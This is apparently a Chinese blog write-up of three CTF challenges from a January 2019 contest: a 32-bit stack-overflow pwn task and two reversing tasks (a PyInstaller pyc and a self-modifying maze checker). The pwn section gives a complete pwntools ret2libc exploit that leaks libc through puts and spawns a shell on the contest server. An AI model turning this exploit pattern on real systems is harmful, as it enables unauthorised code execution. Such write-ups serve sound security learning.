• Home
  • About
    • tearorca photo

      tearorca

      Wishful thinking have to be willing to bet on clothing!

    • Learn More
    • Google+
    • Github
  • Posts
    • All Posts
    • All Tags
  • Projects

2019安恒杯一月月赛

28 Jan 2019

Reading time ~4 minutes

  • Pwn2 – rrr
  • Reserve1 – she
  • reserve2 - Old-drive3

题目链接:https://pan.baidu.com/s/1DxE7BN657G0Nornr5_uoWQ

提取码:nz8s

Pwn2 – rrr

先查保护

gdb-peda$ checksec

CANARY : disabled

FORTIFY : disabled

NX : ENABLED

PIE : disabled

RELRO : Partial

就开了NX。Ida打开

int sub_80485A5()

{

	unsigned int v0; // eax

	char v1; // bl

	char v2; // al

	size_t v3; // edx

	int buf[8]; // [esp+8h] [ebp-30h]

	unsigned int seed; // [esp+28h] [ebp-10h]

	unsigned int i; // [esp+2Ch] [ebp-Ch]

	seed = time(0);

	sub_804857B();

	puts(">");

	srand(seed);

	v0 = 0;

	do

	{

		buf[v0] = 0;

		++v0;

	}

	while ( v0 < 8 );

	read(0, buf, 0xA0u);

	for ( i = 0; ; ++i )

	{

		v3 = strlen((const char *)buf);

		if ( v3 <= i )

			break;

		v1 = *((_BYTE *)buf + i);

		v2 = rand();

		*((_BYTE *)buf + i) = v2 ^ v1;

	}

	return 0;

}

发现read能读0xA0个数,但buf的长度只有0x30,很明显的栈溢出。确定溢出的位置0x30+4=0x34。查一下字符,发现system和/bin/sh都没有给,但给了libc,于是通过puts泄露真实地址之后再算基地址,拿到system和binsh的地址

Exp:

#!/usr/bin/env python

#-*- coding:utf-8 -*-

from pwn import *

#r=process('./rrr')

r=remote('101.71.29.5',10013)

elf=ELF('rrr')

libc=ELF('libc-2.23.so')

#libc=ELF('/lib/i386-linux-gnu/libc.so.6')

puts_plt=elf.plt['puts']

puts_got=elf.got['puts']

main=0x080485A5

payload='a'*52+p32(puts_plt)+p32(main)+p32(puts_got)

r.recvline('>')

r.sendline(payload)

puts_addr=u32(r.recv(4))

base=puts_addr-libc.symbols['puts']

sys_addr=base+libc.symbols['system']

bin_addr=base+next(libc.search('/bin/sh'))

payload='a'*52+p32(sys_addr)+p32(main)+p32(bin_addr)

r.recvline('>')

r.sendline(payload)

r.interactive()

Reserve1 – she

附件里面有一个exe文件和一个pyc文件,pyc文件无法反编译,一开始以为改了pyc结构,用winhex修改后发现还是不能反编译。于是放弃这个,把目标转到exe文件上,Python生成的exe是通过python的模块进行实现并不是直接编译出程序。可以用pyinstxtractor.py(下载地址https://sourceforge.net/projects/pyinstallerextractor)打开。

打开之后出现了很多文件,用winhex打开AnhengRe文件,加上pyc的文件头

33 0D 0D 0A 00 00 00 00 00 00 00 00

然后后缀改为pyc就可以反编译了。

#!/usr/bin/env python

# encoding: utf-8

# 如果觉得不错,可以推荐给你的朋友!http://tool.lu/pyc

import os

n1 = input('Tell me your name?')

n2 = input('Tell me your pasw')

n11 = chr(ord(n1[0]) + 12)

s = ''

st3 = '51e'

st2 = '9f1ff1e8b5b91110'

st1 = 'c4e21c11a2412'

st0 = 'wrong'

if n11 + 'AnHeng' == n2:

	for i in range(0, 4):

		s += st1[3 - i]

	print('Congratulations')

	ts = st2[0] + st3 + st2[1] + s

	print('flag{' + st3[:1] + st1 + st2 + st3[-2:] + '}')

	os.system('pause')

else:

	print('no,' + st0)

凡是输入的代码都没有必要留着,全部注释了

#!/usr/bin/env python

# encoding: utf-8

# 如果觉得不错,可以推荐给你的朋友!http://tool.lu/pyc

import os

#n1 = input('Tell me your name?')

#n2 = input('Tell me your pasw')

#n11 = chr(ord(n1[0]) + 12)

s = ''

st3 = '51e'

st2 = '9f1ff1e8b5b91110'

st1 = 'c4e21c11a2412'

st0 = 'wrong'

#if n11 + 'AnHeng' == n2:

for i in range(0, 4):

	s += st1[3 - i]

	print('Congratulations')

ts = st2[0] + st3 + st2[1] + s

print('flag{' + st3[:1] + st1 + st2 + st3[-2:] + '}')

os.system('pause')

#else:

#print('no,' + st0)

运行之后拿到flag

Congratulations

flag{5c4e21c11a24129f1ff1e8b5b911101e}

reserve2 - Old-drive3

查壳发现无壳,用ida打开

int __cdecl main(int argc, const char **argv, const char **envp)

{

	int i; // ecx

	signed int v4; // eax

	char v6; // [esp+0h] [ebp-40h]

	char Dst; // [esp+1h] [ebp-3Fh]

	char v8; // [esp+27h] [ebp-19h]

	int v9; // [esp+34h] [ebp-Ch]

	__int16 v10; // [esp+38h] [ebp-8h]

	char v11; // [esp+3Ah] [ebp-6h]

	v6 = 0;

	memset(&Dst, 0, 0x31u);

	printf("input flag:n");

	scanf("%50s", &v6);

	if ( strlen(&v6) == 40 )

	{

		for ( i = 0; i < (char *)nullsub_1 - (char *)dword_401000; ++i )

			*((_BYTE *)dword_401000 + i) ^= 0xBBu;

		v10 = '}{';

		v9 = 'galf';

		v11 = 0;

		v4 = 0;

		do

		{

			if ( *(&v6 + v4) != *((_BYTE *)&v9 + v4) )

				goto LABEL_8;

			++v4;

		}

		while ( v4 < 5 );

		LOBYTE(i) = v8;

		if ( v8 != *((_BYTE *)&v9 + v4) )

		LABEL_8:

			exit(0);

		((void (__fastcall *)(int, char *))loc_4010B0)(i, &v6);

	}

	return 0;

}

主函数就是输入字符串长度40,然后前5个字符要是flag{,后面就没有其他判断了,最后一个函数

((void (__fastcall *)(int, char *))loc_4010B0)(i, &v6);

也打不开。

查看字符串,发现了这些,但却不能找到他们所在的函数位置。

.rdata:00402108 00000041 C    ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

.rdata:00402150 00000041 C --------g + ++ + ++ ++ + #+ ++ ++++ ++ ++++ +++--------

.rdata:00402194 00000016 C Congratulation!!!!!!n

再发现主函数这里有一段地址的异或,于是怀疑是不是用了SMC保护,

SMC保护介绍:https://esebanana.github.io/2018/04/08/re_10_tls_smc/#more

for ( i = 0; i < (char *)nullsub_1 - (char *)dword_401000; ++i )

	*((_BYTE *)dword_401000 + i) ^= 0xBBu;

OD载入程序,

004012D3 |> /B8 00104000 /mov eax,Old-driv.00401000 ; 入口地址

004012D8 |. |803408 BB |xor byte ptr ds:[eax+ecx],0xBB

004012DC |. |41 |inc ecx

004012DD |. |3BCA |cmp ecx,edx

004012DF |.^7C F2 jl short Old-driv.004012D3

004012E1 |> 66:A1 C421400>mov ax,word ptr ds:[0x4021C4] ; {}

004012E7 |. 8B15 C0214000 mov edx,dword ptr ds:[0x4021C0] ; flag{}

找到了异或之后的位置

004012E1 |> 66:A1 C421400>mov ax,word ptr ds:[0x4021C4] ; {}

dump出来再用ida打开,最后一个函数出现

先是一个异或判断第5-11位字符

v24 = a2;

v2 = 5;

v3 = "xF2xEExEFxF5xD9xEF";

do

{

	v4 = *(unsigned __int8 *)v3++;

	if ( ((char)a2[v2] ^ 0x86) != v4 )

	LABEL_12:

		exit(0);

	++v2;

}

while ( v2 < 11 );

v30 = 1716410210;

v5 = a2[11];

v29 = 0x7A393163;

后面一大串的移位其实是base64的加密,把第12-17位的字符base64加密后与v30和v29比较。

最后面还有个返回函数,就是最后显示结果的函数

v1 = *(_DWORD *)(a1 + 21);

strcpy(&v9, "--------g + ++ + ++ ++ + #+ ++ ++++ ++ ++++ ++ +--------");

v11 = *(_DWORD *)(a1 + 17);

v2 = *(_DWORD *)(a1 + 25);

v12 = v1;

v3 = *(_DWORD *)(a1 + 29);

v13 = v2;

v4 = *(_DWORD *)(a1 + 33);

v14 = v3;

LOWORD(v3) = *(_WORD *)(a1 + 37);

v15 = v4;

v16 = v3;

v5 = 0;

v6 = &v10;

do

{

	v7 = *((_BYTE *)&v11 + v5);

	switch ( v7 )

	{

	case 'a':

		v6 += 8;

	break;

		case 'q':

		--v6;

	break;

		case 'w':

		++v6;

	break;

		case '2':

		v6 -= 8;

	break;

	}

	result = *v6;

	if ( *v6 == '#' )

	{

		printf("Congratulation!!!!!!n");

		LABEL_15:

		exit(0);

	}

	if ( result != ' ' )

		goto LABEL_15;

	++v5;

}

while ( v5 < 22 );

return result;

看到switch和一大串字符串以及最后输出Congratulation!!!!!!的比较,第一个想到的就是迷宫,还原成8*8就是这样的

--------
g +    +
+ + ++ +
+ + #+ +
+ ++++ +
+ ++++ +
+      +
--------

出发点是g点aqw2分别代表下左右上,直接输出接过来就可以了

waaaaawwwww22222qqqaaw

脚本:

import base64

l1='flag{'

l2='xf2xeexefxf5xd9xef'

flag=""

flag+=l1

for x in l2:

	flag+=chr(ord(x)^0x86)

l3='x63x31x39x7ax62x57x4ex66'

flag+=str(base64.b64decode(l3),'utf-8')

flag+='waaaaawwwww22222qqqaaw}'

print(flag)


Share Tweet +1